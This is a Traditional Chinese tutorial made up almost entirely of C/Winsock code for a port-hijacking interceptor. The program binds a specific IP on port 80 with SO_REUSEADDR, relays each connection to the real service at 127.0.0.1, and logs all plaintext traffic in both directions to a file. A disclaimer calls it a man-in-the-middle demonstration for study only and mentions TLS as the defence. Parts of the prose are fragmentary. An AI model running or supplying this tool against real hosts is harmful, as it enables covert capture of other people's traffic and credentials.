本文展示如何使用 Winsock 2 實作 TCP 連接埠監聽、連線轉發與資料記錄功能。程式碼示範綁定特定 IP、設定 SO_REUSEADDR 實現連接埠重用、多執行緒處理連線、透過 127.0.0.1 轉發至真實服務並記錄雙向資料流。
注意:此類技術可用於網路除錯、安全稽核,亦可被濫用於攔截敏感資料。請勿用於非法用途,僅供學習研究參考。
SO_REUSEADDR、綁定指定 IP:80listen 進入監聽狀態accept 接受連線,每連線建立一執行緒處理#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <fstream.h>
DWORD WINAPI ClientThread(LPVOID lpParam);
int main(int argc, char* argv[])
{
if (argc != 2)
{
printf("Usage: listen [your_ip]\nExample: listen 202.112.246.2\n");
return 0;
}
WORD wVersion = MAKEWORD(2, 2);
WSADATA wsaData;
if (WSAStartup(wVersion, &wsaData) != 0)
{
printf("WSAStartup failed!\n");
return -1;
}
SOCKADDR_IN saddr = {0};
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(argv[1]); // 指定 IP,非 INADDR_ANY
saddr.sin_port = htons(80);
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET) { printf("socket failed!\n"); return -1; }
BOOL val = TRUE;
// 關鍵:允許連接埠重用
if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val)) != 0)
{ printf("setsockopt SO_REUSEADDR failed!\n"); return -1; }
if (bind(s, (SOCKADDR*)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{ printf("bind failed! Error: %d\n", WSAGetLastError()); return -1; }
listen(s, 2);
printf("Listening on %s:80 ...\n", argv[1]);
while (1)
{
SOCKADDR_IN caddr; int clen = sizeof(caddr);
SOCKET sc = accept(s, (sockaddr*)&caddr, &clen);
if (sc != INVALID_SOCKET)
{
DWORD tid;
HANDLE hThread = CreateThread(NULL, 0, ClientThread, (LPVOID)sc, 0, &tid);
if (hThread) CloseHandle(hThread);
else { printf("Thread create failed!\n"); break; }
}
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam; // 客戶端連線
SOCKET sc; // 真實服務連線
char buf[4096];
SOCKADDR_IN saddr = {0};
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(80);
sc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sc == INVALID_SOCKET) { closesocket(ss); return -1; }
DWORD timeout = 100;
setsockopt(sc, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));
setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));
if (connect(sc, (SOCKADDR*)&saddr, sizeof(saddr)) != 0)
{
printf("Connect to real service failed!\n");
closesocket(sc); closesocket(ss);
return -1;
}
ofstream logFile("port80log.txt", ios::app);
if (!logFile) { closesocket(ss); closesocket(sc); return 0; }
while (1)
{
// 客戶端 -> 真實服務
int n = recv(ss, buf, sizeof(buf), 0);
if (n > 0)
{
logFile << "\n== CLIENT -> SERVER =========================================\n";
logFile.write(buf, n);
send(sc, buf, n, 0);
}
else if (n == 0) break;
// 真實服務 -> 客戶端
n = recv(sc, buf, sizeof(buf), 0);
if (n > 0)
{
logFile << "\n== SERVER -> CLIENT =========================================\n";
logFile.write(buf, n);
send(ss, buf, n, 0);
}
else if (n == 0) break;
}
logFile.close();
closesocket(ss);
closesocket(sc);
return 0;
}
recv 永久阻塞。此程式展示了中間人攻擊的基本原理。實際部署時,正規服務應使用 TLS 加密傳輸,防止明文資料被攔截分析。